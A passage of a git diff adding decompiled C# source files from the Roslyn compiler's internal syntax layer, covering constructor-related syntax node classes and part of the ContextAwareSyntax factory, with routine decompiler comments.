closeParenToken) + { + if (newKeyword != NewKeyword || openParenToken != OpenParenToken || closeParenToken != CloseParenToken) + { + ConstructorConstraintSyntax constructorConstraintSyntax = SyntaxFactory.ConstructorConstraint(newKeyword, openParenToken, closeParenToken); + DiagnosticInfo[] diagnostics = ((GreenNode)this).GetDiagnostics(); + if (diagnostics != null && diagnostics.Length != 0) + { + constructorConstraintSyntax = GreenNodeExtensions.WithDiagnosticsGreen(constructorConstraintSyntax, diagnostics); + } + SyntaxAnnotation[] annotations = ((GreenNode)this).GetAnnotations(); + if (annotations != null && annotations.Length != 0) + { + constructorConstraintSyntax = GreenNodeExtensions.WithAnnotationsGreen(constructorConstraintSyntax, (IEnumerable)annotations); + } + return constructorConstraintSyntax; + } + return this; + } + + internal override GreenNode SetDiagnostics(DiagnosticInfo[]? diagnostics) + { + return (GreenNode)(object)new ConstructorConstraintSyntax(base.Kind, newKeyword, openParenToken, closeParenToken, diagnostics, ((GreenNode)this).GetAnnotations()); + } + + internal override GreenNode SetAnnotations(SyntaxAnnotation[]? annotations) + { + return (GreenNode)(object)new ConstructorConstraintSyntax(base.Kind, newKeyword, openParenToken, closeParenToken, ((GreenNode)this).GetDiagnostics(), annotations); + } + + internal ConstructorConstraintSyntax(ObjectReader reader) + : base(reader) + { + ((GreenNode)this).SlotCount = 3; + SyntaxToken syntaxToken = (SyntaxToken)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)syntaxToken); + newKeyword = syntaxToken; + SyntaxToken syntaxToken2 = (SyntaxToken)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)syntaxToken2); + openParenToken = syntaxToken2; + SyntaxToken syntaxToken3 = (SyntaxToken)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)syntaxToken3); + closeParenToken = syntaxToken3; + } + + internal override void WriteTo(ObjectWriter writer) + { + ((GreenNode)this).WriteTo(writer); + writer.WriteValue((IObjectWritable)(object)newKeyword); + writer.WriteValue((IObjectWritable)(object)openParenToken); + writer.WriteValue((IObjectWritable)(object)closeParenToken); + } + + static ConstructorConstraintSyntax() + { + ObjectBinder.RegisterTypeReader(typeof(ConstructorConstraintSyntax), (Func)((ObjectReader r) => (IObjectWritable)(object)new ConstructorConstraintSyntax(r))); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/ConstructorDeclarationSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/ConstructorDeclarationSyntax.cs new file mode 100644 index 0000000..df679b8 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/ConstructorDeclarationSyntax.cs @@ -0,0 +1,299 @@ +using System; +using System.Collections.Generic; +using Microsoft.CodeAnalysis.Syntax.InternalSyntax; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +internal sealed class ConstructorDeclarationSyntax : BaseMethodDeclarationSyntax +{ + internal readonly GreenNode? attributeLists; + + internal readonly GreenNode? modifiers; + + internal readonly SyntaxToken identifier; + + internal readonly ParameterListSyntax parameterList; + + internal readonly ConstructorInitializerSyntax? initializer; + + internal readonly BlockSyntax? body; + + internal readonly ArrowExpressionClauseSyntax? expressionBody; + + internal readonly SyntaxToken? semicolonToken; + + public override SyntaxList AttributeLists => new SyntaxList(attributeLists); + + public override SyntaxList Modifiers => new SyntaxList(modifiers); + + public SyntaxToken Identifier => identifier; + + public override ParameterListSyntax ParameterList => parameterList; + + public ConstructorInitializerSyntax? Initializer => initializer; + + public override BlockSyntax? Body => body; + + public override ArrowExpressionClauseSyntax? ExpressionBody => expressionBody; + + public override SyntaxToken? SemicolonToken => semicolonToken; + + internal ConstructorDeclarationSyntax(SyntaxKind kind, GreenNode? attributeLists, GreenNode? modifiers, SyntaxToken identifier, ParameterListSyntax parameterList, ConstructorInitializerSyntax? initializer, BlockSyntax? body, ArrowExpressionClauseSyntax? expressionBody, SyntaxToken? semicolonToken, DiagnosticInfo[]? diagnostics, SyntaxAnnotation[]? annotations) + : base(kind, diagnostics, annotations) + { + ((GreenNode)this).SlotCount = 8; + if (attributeLists != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(attributeLists); + this.attributeLists = attributeLists; + } + if (modifiers != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(modifiers); + this.modifiers = modifiers; + } + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)identifier); + this.identifier = identifier; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)parameterList); + this.parameterList = parameterList; + if (initializer != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)initializer); + this.initializer = initializer; + } + if (body != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)body); + this.body = body; + } + if (expressionBody != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)expressionBody); + this.expressionBody = expressionBody; + } + if (semicolonToken != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)semicolonToken); + this.semicolonToken = semicolonToken; + } + } + + internal ConstructorDeclarationSyntax(SyntaxKind kind, GreenNode? attributeLists, GreenNode? modifiers, SyntaxToken identifier, ParameterListSyntax parameterList, ConstructorInitializerSyntax? initializer, BlockSyntax? body, ArrowExpressionClauseSyntax? expressionBody, SyntaxToken? semicolonToken, SyntaxFactoryContext context) + : base(kind) + { + SetFactoryContext(context); + ((GreenNode)this).SlotCount = 8; + if (attributeLists != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(attributeLists); + this.attributeLists = attributeLists; + } + if (modifiers != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(modifiers); + this.modifiers = modifiers; + } + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)identifier); + this.identifier = identifier; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)parameterList); + this.parameterList = parameterList; + if (initializer != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)initializer); + this.initializer = initializer; + } + if (body != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)body); + this.body = body; + } + if (expressionBody != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)expressionBody); + this.expressionBody = expressionBody; + } + if (semicolonToken != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)semicolonToken); + this.semicolonToken = semicolonToken; + } + } + + internal ConstructorDeclarationSyntax(SyntaxKind kind, GreenNode? attributeLists, GreenNode? modifiers, SyntaxToken identifier, ParameterListSyntax parameterList, ConstructorInitializerSyntax? initializer, BlockSyntax? body, ArrowExpressionClauseSyntax? expressionBody, SyntaxToken? semicolonToken) + : base(kind) + { + ((GreenNode)this).SlotCount = 8; + if (attributeLists != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(attributeLists); + this.attributeLists = attributeLists; + } + if (modifiers != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(modifiers); + this.modifiers = modifiers; + } + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)identifier); + this.identifier = identifier; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)parameterList); + this.parameterList = parameterList; + if (initializer != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)initializer); + this.initializer = initializer; + } + if (body != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)body); + this.body = body; + } + if (expressionBody != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)expressionBody); + this.expressionBody = expressionBody; + } + if (semicolonToken != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)semicolonToken); + this.semicolonToken = semicolonToken; + } + } + + internal override GreenNode? GetSlot(int index) + { + return (GreenNode?)(index switch + { + 0 => attributeLists, + 1 => modifiers, + 2 => identifier, + 3 => parameterList, + 4 => initializer, + 5 => body, + 6 => expressionBody, + 7 => semicolonToken, + _ => null, + }); + } + + internal override SyntaxNode CreateRed(SyntaxNode? parent, int position) + { + return (SyntaxNode)(object)new Microsoft.CodeAnalysis.CSharp.Syntax.ConstructorDeclarationSyntax(this, parent, position); + } + + public override void Accept(CSharpSyntaxVisitor visitor) + { + visitor.VisitConstructorDeclaration(this); + } + + public override TResult Accept(CSharpSyntaxVisitor visitor) + { + return visitor.VisitConstructorDeclaration(this); + } + + public ConstructorDeclarationSyntax Update(SyntaxList attributeLists, SyntaxList modifiers, SyntaxToken identifier, ParameterListSyntax parameterList, ConstructorInitializerSyntax initializer, BlockSyntax body, ArrowExpressionClauseSyntax expressionBody, SyntaxToken semicolonToken) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0057: Unknown result type (might be due to invalid IL or missing references) + //IL_0058: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_0010: Unknown result type (might be due to invalid IL or missing references) + if (attributeLists != AttributeLists || modifiers != Modifiers || identifier != Identifier || parameterList != ParameterList || initializer != Initializer || body != Body || expressionBody != ExpressionBody || semicolonToken != SemicolonToken) + { + ConstructorDeclarationSyntax constructorDeclarationSyntax = SyntaxFactory.ConstructorDeclaration(attributeLists, modifiers, identifier, parameterList, initializer, body, expressionBody, semicolonToken); + DiagnosticInfo[] diagnostics = ((GreenNode)this).GetDiagnostics(); + if (diagnostics != null && diagnostics.Length != 0) + { + constructorDeclarationSyntax = GreenNodeExtensions.WithDiagnosticsGreen(constructorDeclarationSyntax, diagnostics); + } + SyntaxAnnotation[] annotations = ((GreenNode)this).GetAnnotations(); + if (annotations != null && annotations.Length != 0) + { + constructorDeclarationSyntax = GreenNodeExtensions.WithAnnotationsGreen(constructorDeclarationSyntax, (IEnumerable)annotations); + } + return constructorDeclarationSyntax; + } + return this; + } + + internal override GreenNode SetDiagnostics(DiagnosticInfo[]? diagnostics) + { + return (GreenNode)(object)new ConstructorDeclarationSyntax(base.Kind, attributeLists, modifiers, identifier, parameterList, initializer, body, expressionBody, semicolonToken, diagnostics, ((GreenNode)this).GetAnnotations()); + } + + internal override GreenNode SetAnnotations(SyntaxAnnotation[]? annotations) + { + return (GreenNode)(object)new ConstructorDeclarationSyntax(base.Kind, attributeLists, modifiers, identifier, parameterList, initializer, body, expressionBody, semicolonToken, ((GreenNode)this).GetDiagnostics(), annotations); + } + + internal ConstructorDeclarationSyntax(ObjectReader reader) + : base(reader) + { + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + //IL_001a: Expected O, but got Unknown + //IL_0031: Unknown result type (might be due to invalid IL or missing references) + //IL_0037: Expected O, but got Unknown + ((GreenNode)this).SlotCount = 8; + GreenNode val = (GreenNode)reader.ReadValue(); + if (val != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(val); + attributeLists = val; + } + GreenNode val2 = (GreenNode)reader.ReadValue(); + if (val2 != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(val2); + modifiers = val2; + } + SyntaxToken syntaxToken = (SyntaxToken)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)syntaxToken); + identifier = syntaxToken; + ParameterListSyntax parameterListSyntax = (ParameterListSyntax)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)parameterListSyntax); + parameterList = parameterListSyntax; + ConstructorInitializerSyntax constructorInitializerSyntax = (ConstructorInitializerSyntax)reader.ReadValue(); + if (constructorInitializerSyntax != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)constructorInitializerSyntax); + initializer = constructorInitializerSyntax; + } + BlockSyntax blockSyntax = (BlockSyntax)reader.ReadValue(); + if (blockSyntax != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)blockSyntax); + body = blockSyntax; + } + ArrowExpressionClauseSyntax arrowExpressionClauseSyntax = (ArrowExpressionClauseSyntax)reader.ReadValue(); + if (arrowExpressionClauseSyntax != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)arrowExpressionClauseSyntax); + expressionBody = arrowExpressionClauseSyntax; + } + SyntaxToken syntaxToken2 = (SyntaxToken)reader.ReadValue(); + if (syntaxToken2 != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)syntaxToken2); + semicolonToken = syntaxToken2; + } + } + + internal override void WriteTo(ObjectWriter writer) + { + ((GreenNode)this).WriteTo(writer); + writer.WriteValue((IObjectWritable)(object)attributeLists); + writer.WriteValue((IObjectWritable)(object)modifiers); + writer.WriteValue((IObjectWritable)(object)identifier); + writer.WriteValue((IObjectWritable)(object)parameterList); + writer.WriteValue((IObjectWritable)(object)initializer); + writer.WriteValue((IObjectWritable)(object)body); + writer.WriteValue((IObjectWritable)(object)expressionBody); + writer.WriteValue((IObjectWritable)(object)semicolonToken); + } + + static ConstructorDeclarationSyntax() + { + ObjectBinder.RegisterTypeReader(typeof(ConstructorDeclarationSyntax), (Func)((ObjectReader r) => (IObjectWritable)(object)new ConstructorDeclarationSyntax(r))); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/ConstructorInitializerSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/ConstructorInitializerSyntax.cs new file mode 100644 index 0000000..b873227 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/ConstructorInitializerSyntax.cs @@ -0,0 +1,141 @@ +using System; +using System.Collections.Generic; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +internal sealed class ConstructorInitializerSyntax : CSharpSyntaxNode +{ + internal readonly SyntaxToken colonToken; + + internal readonly SyntaxToken thisOrBaseKeyword; + + internal readonly ArgumentListSyntax argumentList; + + public SyntaxToken ColonToken => colonToken; + + public SyntaxToken ThisOrBaseKeyword => thisOrBaseKeyword; + + public ArgumentListSyntax ArgumentList => argumentList; + + internal ConstructorInitializerSyntax(SyntaxKind kind, SyntaxToken colonToken, SyntaxToken thisOrBaseKeyword, ArgumentListSyntax argumentList, DiagnosticInfo[]? diagnostics, SyntaxAnnotation[]? annotations) + : base(kind, diagnostics, annotations) + { + ((GreenNode)this).SlotCount = 3; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)colonToken); + this.colonToken = colonToken; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)thisOrBaseKeyword); + this.thisOrBaseKeyword = thisOrBaseKeyword; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)argumentList); + this.argumentList = argumentList; + } + + internal ConstructorInitializerSyntax(SyntaxKind kind, SyntaxToken colonToken, SyntaxToken thisOrBaseKeyword, ArgumentListSyntax argumentList, SyntaxFactoryContext context) + : base(kind) + { + SetFactoryContext(context); + ((GreenNode)this).SlotCount = 3; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)colonToken); + this.colonToken = colonToken; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)thisOrBaseKeyword); + this.thisOrBaseKeyword = thisOrBaseKeyword; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)argumentList); + this.argumentList = argumentList; + } + + internal ConstructorInitializerSyntax(SyntaxKind kind, SyntaxToken colonToken, SyntaxToken thisOrBaseKeyword, ArgumentListSyntax argumentList) + : base(kind) + { + ((GreenNode)this).SlotCount = 3; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)colonToken); + this.colonToken = colonToken; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)thisOrBaseKeyword); + this.thisOrBaseKeyword = thisOrBaseKeyword; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)argumentList); + this.argumentList = argumentList; + } + + internal override GreenNode? GetSlot(int index) + { + return (GreenNode?)(index switch + { + 0 => colonToken, + 1 => thisOrBaseKeyword, + 2 => argumentList, + _ => null, + }); + } + + internal override SyntaxNode CreateRed(SyntaxNode? parent, int position) + { + return (SyntaxNode)(object)new Microsoft.CodeAnalysis.CSharp.Syntax.ConstructorInitializerSyntax(this, parent, position); + } + + public override void Accept(CSharpSyntaxVisitor visitor) + { + visitor.VisitConstructorInitializer(this); + } + + public override TResult Accept(CSharpSyntaxVisitor visitor) + { + return visitor.VisitConstructorInitializer(this); + } + + public ConstructorInitializerSyntax Update(SyntaxToken colonToken, SyntaxToken thisOrBaseKeyword, ArgumentListSyntax argumentList) + { + if (colonToken != ColonToken || thisOrBaseKeyword != ThisOrBaseKeyword || argumentList != ArgumentList) + { + ConstructorInitializerSyntax constructorInitializerSyntax = SyntaxFactory.ConstructorInitializer(base.Kind, colonToken, thisOrBaseKeyword, argumentList); + DiagnosticInfo[] diagnostics = ((GreenNode)this).GetDiagnostics(); + if (diagnostics != null && diagnostics.Length != 0) + { + constructorInitializerSyntax = GreenNodeExtensions.WithDiagnosticsGreen(constructorInitializerSyntax, diagnostics); + } + SyntaxAnnotation[] annotations = ((GreenNode)this).GetAnnotations(); + if (annotations != null && annotations.Length != 0) + { + constructorInitializerSyntax = GreenNodeExtensions.WithAnnotationsGreen(constructorInitializerSyntax, (IEnumerable)annotations); + } + return constructorInitializerSyntax; + } + return this; + } + + internal override GreenNode SetDiagnostics(DiagnosticInfo[]? diagnostics) + { + return (GreenNode)(object)new ConstructorInitializerSyntax(base.Kind, colonToken, thisOrBaseKeyword, argumentList, diagnostics, ((GreenNode)this).GetAnnotations()); + } + + internal override GreenNode SetAnnotations(SyntaxAnnotation[]? annotations) + { + return (GreenNode)(object)new ConstructorInitializerSyntax(base.Kind, colonToken, thisOrBaseKeyword, argumentList, ((GreenNode)this).GetDiagnostics(), annotations); + } + + internal ConstructorInitializerSyntax(ObjectReader reader) + : base(reader) + { + ((GreenNode)this).SlotCount = 3; + SyntaxToken syntaxToken = (SyntaxToken)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)syntaxToken); + colonToken = syntaxToken; + SyntaxToken syntaxToken2 = (SyntaxToken)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)syntaxToken2); + thisOrBaseKeyword = syntaxToken2; + ArgumentListSyntax argumentListSyntax = (ArgumentListSyntax)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)argumentListSyntax); + argumentList = argumentListSyntax; + } + + internal override void WriteTo(ObjectWriter writer) + { + ((GreenNode)this).WriteTo(writer); + writer.WriteValue((IObjectWritable)(object)colonToken); + writer.WriteValue((IObjectWritable)(object)thisOrBaseKeyword); + writer.WriteValue((IObjectWritable)(object)argumentList); + } + + static ConstructorInitializerSyntax() + { + ObjectBinder.RegisterTypeReader(typeof(ConstructorInitializerSyntax), (Func)((ObjectReader r) => (IObjectWritable)(object)new ConstructorInitializerSyntax(r))); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/ContextAwareSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/ContextAwareSyntax.cs new file mode 100644 index 0000000..f34cd12 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/ContextAwareSyntax.cs @@ -0,0 +1,2785 @@ +using System; +using Microsoft.CodeAnalysis.Syntax.InternalSyntax; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +internal class ContextAwareSyntax +{ + private SyntaxFactoryContext context; + + public GlobalStatementSyntax GlobalStatement(StatementSyntax statement) + { + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + //IL_000c: Unknown result type (might be due to invalid IL or missing references) + //IL_0012: Unknown result type (might be due to invalid IL or missing references) + return GlobalStatement(default(SyntaxList), default(SyntaxList), statement); + } + + public ContextAwareSyntax(SyntaxFactoryContext context) + { + this.context = context; + } + + public IdentifierNameSyntax IdentifierName(SyntaxToken identifier) + { + int hash; + GreenNode val = CSharpSyntaxNodeCache.TryGetNode(8616, (GreenNode)(object)identifier, context, out hash); + if (val != null) + { + return (IdentifierNameSyntax)(object)val; + } + IdentifierNameSyntax identifierNameSyntax = new IdentifierNameSyntax(SyntaxKind.IdentifierName, identifier, context); + if (hash >= 0) + { + SyntaxNodeCache.AddNode((GreenNode)(object)identifierNameSyntax, hash); + } + return identifierNameSyntax; + } + + public QualifiedNameSyntax QualifiedName(NameSyntax left, SyntaxToken dotToken, SimpleNameSyntax right) + { + int hash; + GreenNode val = CSharpSyntaxNodeCache.TryGetNode(8617, (GreenNode)(object)left, (GreenNode)(object)dotToken, (GreenNode)(object)right, context, out hash); + if (val != null) + { + return (QualifiedNameSyntax)(object)val; + } + QualifiedNameSyntax qualifiedNameSyntax = new QualifiedNameSyntax(SyntaxKind.QualifiedName, left, dotToken, right, context); + if (hash >= 0) + { + SyntaxNodeCache.AddNode((GreenNode)(object)qualifiedNameSyntax, hash); + } + return qualifiedNameSyntax; + } + + public GenericNameSyntax GenericName(SyntaxToken identifier, TypeArgumentListSyntax typeArgumentList) + { + int hash; + GreenNode val = CSharpSyntaxNodeCache.TryGetNode(8618, (GreenNode)(object)identifier, (GreenNode)(object)typeArgumentList, context, out hash); + if (val != null) + { + return (GenericNameSyntax)(object)val; + } + GenericNameSyntax genericNameSyntax = new GenericNameSyntax(SyntaxKind.GenericName, identifier, typeArgumentList, context); + if (hash >= 0) + { + SyntaxNodeCache.AddNode((GreenNode)(object)genericNameSyntax, hash); + } + return genericNameSyntax; + } + + public TypeArgumentListSyntax TypeArgumentList(SyntaxToken lessThanToken, SeparatedSyntaxList arguments, SyntaxToken greaterThanToken) + { + int hash; + GreenNode val = CSharpSyntaxNodeCache.TryGetNode(8619, (GreenNode)(object)lessThanToken, arguments.Node, (GreenNode)(object)greaterThanToken, context, out hash); + if (val != null) + { + return (TypeArgumentListSyntax)(object)val; + } + TypeArgumentListSyntax typeArgumentListSyntax = new TypeArgumentListSyntax(SyntaxKind.TypeArgumentList, lessThanToken, arguments.Node, greaterThanToken, context); + if (hash >= 0) + { + SyntaxNodeCache.AddNode((GreenNode)(object)typeArgumentListSyntax, hash); + } + return typeArgumentListSyntax; + } + + public AliasQualifiedNameSyntax AliasQualifiedName(IdentifierNameSyntax alias, SyntaxToken colonColonToken, SimpleNameSyntax name) + { + int hash; + GreenNode val = CSharpSyntaxNodeCache.TryGetNode(8620, (GreenNode)(object)alias, (GreenNode)(object)colonColonToken, (GreenNode)(object)name, context, out hash); + if (val != null) + { + return (AliasQualifiedNameSyntax)(object)val; + } + AliasQualifiedNameSyntax aliasQualifiedNameSyntax = new AliasQualifiedNameSyntax(SyntaxKind.AliasQualifiedName, alias, colonColonToken, name, context); + if (hash >= 0) + { + SyntaxNodeCache.AddNode((GreenNode)(object)aliasQualifiedNameSyntax, hash); + } + return aliasQualifiedNameSyntax; + } + + public PredefinedTypeSyntax PredefinedType(SyntaxToken keyword) + { + int hash; + GreenNode val = CSharpSyntaxNodeCache.TryGetNode(8621, (GreenNode)(object)keyword, context, out hash); + if (val != null) + { + return (PredefinedTypeSyntax)(object)val; + } + PredefinedTypeSyntax predefinedTypeSyntax = new PredefinedTypeSyntax(SyntaxKind.PredefinedType, keyword, context); + if (hash >= 0) + { + SyntaxNodeCache.AddNode((GreenNode)(object)predefinedTypeSyntax, hash); + } + return predefinedTypeSyntax; + } + + public ArrayTypeSyntax ArrayType(TypeSyntax elementType, SyntaxList rankSpecifiers) + { + int hash; + GreenNode val = CSharpSyntaxNodeCache.TryGetNode(8622, (GreenNode)(object)elementType, rankSpecifiers.Node, context, out hash); + if (val != null) + { + return (ArrayTypeSyntax)(object)val; + } + ArrayTypeSyntax arrayTypeSyntax = new ArrayTypeSyntax(SyntaxKind.ArrayType, elementType, rankSpecifiers.Node, context); + if (hash >= 0) + { + SyntaxNodeCache.AddNode((GreenNode)(object)arrayTypeSyntax, hash); + } + return arrayTypeSyntax; + } + + public ArrayRankSpecifierSyntax ArrayRankSpecifier(SyntaxToken openBracketToken, SeparatedSyntaxList sizes, SyntaxToken closeBracketToken) + { + int hash; + GreenNode val = CSharpSyntaxNodeCache.TryGetNode(8623, (GreenNode)(object)openBracketToken, sizes.Node, (GreenNode)(object)closeBracketToken, context, out hash); + if (val != null) + { + return (ArrayRankSpecifierSyntax)(object)val; + } + ArrayRankSpecifierSyntax arrayRankSpecifierSyntax = new ArrayRankSpecifierSyntax(SyntaxKind.ArrayRankSpecifier, openBracketToken, sizes.Node, closeBracketToken, context); + if (hash >= 0) + { + SyntaxNodeCache.AddNode((GreenNode)(object)arrayRankSpecifierSyntax, hash); + } + return arrayRankSpecifierSyntax; + } + + public PointerTypeSyntax PointerType(TypeSyntax elementType, SyntaxToken asteriskToken) + { + int hash; + GreenNode val = CSharpSyntaxNodeCache.TryGetNode(8624, (GreenNode)(object)elementType, (GreenNode)(object)asteriskToken, context, out hash); + if (val != null) + { + return (PointerTypeSyntax)(object)val; + } + PointerTypeSyntax pointerTypeSyntax = new PointerTypeSyntax(SyntaxKind.PointerType, elementType, asteriskToken, context); + if (hash >= 0) + { + SyntaxNodeCache.AddNode((GreenNode)(object)pointerTypeSyntax, hash); + } + return pointerTypeSyntax; + } + + public FunctionPointerTypeSyntax FunctionPointerType(SyntaxToken delegateKeyword, SyntaxToken asteriskToken, FunctionPointerCallingConventionSyntax? callingConvention, FunctionPointerParameterListSyntax parameterList) + { + return new FunctionPointerTypeSyntax(SyntaxKind.FunctionPointerType, delegateKeyword, asteriskToken, callingConvention, parameterList, context); + } + + public FunctionPointerParameterListSyntax FunctionPointerParameterList(SyntaxToken lessThanToken, SeparatedSyntaxList parameters, SyntaxToken greaterThanToken) + { + int hash; + GreenNode val = CSharpSyntaxNodeCache.TryGetNode(9058, (GreenNode)(object)lessThanToken, parameters.Node, (GreenNode)(object)greaterThanToken, context, out hash); + if (val != null) + { + return (FunctionPointerParameterListSyntax)(object)val; + } + FunctionPointerParameterListSyntax functionPointerParameterListSyntax = new FunctionPointerParameterListSyntax(SyntaxKind.FunctionPointerParameterList, lessThanToken, parameters.Node, greaterThanToken, context); + if (hash >= 0) + { + SyntaxNodeCache.AddNode((GreenNode)(object)functionPointerParameterListSyntax, hash); + } + return functionPointerParameterListSyntax; + } + + public FunctionPointerCallingConventionSyntax FunctionPointerCallingConvention(SyntaxToken managedOrUnmanagedKeyword, FunctionPointerUnmanagedCallingConventionListSyntax? unmanagedCallingConventionList) + { + int hash; + GreenNode val = CSharpSyntaxNodeCache.TryGetNode(9059, (GreenNode)(object)managedOrUnmanagedKeyword, (GreenNode)(object)unmanagedCallingConventionList, context, out hash); + if (val != null) + { + return (FunctionPointerCallingConventionSyntax)(object)val; + } + FunctionPointerCallingConventionSyntax functionPointerCallingConventionSyntax = new FunctionPointerCallingConventionSyntax(SyntaxKind.FunctionPointerCallingConvention, managedOrUnmanagedKeyword, unmanagedCallingConventionList, context); + if (hash >= 0) + { + SyntaxNodeCache.AddNode((GreenNode)(object)functionPointerCallingConventionSyntax, hash); + } + return functionPointerCallingConventionSyntax; + } + + public FunctionPointerUnmanagedCallingConventionListSyntax FunctionPointerUnmanagedCallingConventionList(SyntaxToken openBracketToken, SeparatedSyntaxList callingConventions, SyntaxToken closeBracketToken) + { + int hash; + GreenNode val = CSharpSyntaxNodeCache.TryGetNode(9066, (GreenNode)(object)openBracketToken, callingConventions.Node, (GreenNode)(object)closeBracketToken, context, out hash); + if (val != null) + { + return (FunctionPointerUnmanagedCallingConventionListSyntax)(object)val; + } + FunctionPointerUnmanagedCallingConventionListSyntax functionPointerUnmanagedCallingConventionListSyntax = new FunctionPointerUnmanagedCallingConventionListSyntax(SyntaxKind.FunctionPointerUnmanagedCallingConventionList, openBracketToken, callingConventions.Node, closeBracketToken, context); + if (hash >= 0) + { + SyntaxNodeCache.AddNode((GreenNode)(object)functionPointerUnmanagedCallingConventionListSyntax, hash); + } + return functionPointerUnmanagedCallingConventionListSyntax; + } + + public FunctionPointerUnmanagedCallingConventionSyntax FunctionPointerUnmanagedCallingConvention(SyntaxToken name) + { + int hash; + GreenNode val = CSharpSyntaxNodeCache.TryGetNode(9067, (GreenNode)(object)name, context, out hash); + if (val != null) + { + return (FunctionPointerUnmanagedCallingConventionSyntax)(object)val; + } + FunctionPointerUnmanagedCallingConventionSyntax functionPointerUnmanagedCallingConventionSyntax = new FunctionPointerUnmanagedCallingConventionSyntax(SyntaxKind.FunctionPointerUnmanagedCallingConvention, name, context); + if (hash >= 0) + { + SyntaxNodeCache.AddNode((GreenNode)(object)functionPointerUnmanagedCallingConventionSyntax, hash); + } + return functionPointerUnmanagedCallingConventionSyntax; + } + + public NullableTypeSyntax NullableType(TypeSyntax elementType, SyntaxToken questionToken) + { + int hash; + GreenNode val = CSharpSyntaxNodeCache.TryGetNode(8625, (GreenNode)(object)elementType, (GreenNode)(object)questionToken, context, out hash); + if (val != null) + { + return (NullableTypeSyntax)(object)val; + } + NullableTypeSyntax nullableTypeSyntax = new NullableTypeSyntax(SyntaxKind.NullableType, elementType, questionToken, context); + if (hash >= 0) + { + SyntaxNodeCache.AddNode((GreenNode)(object)nullableTypeSyntax, hash); + } 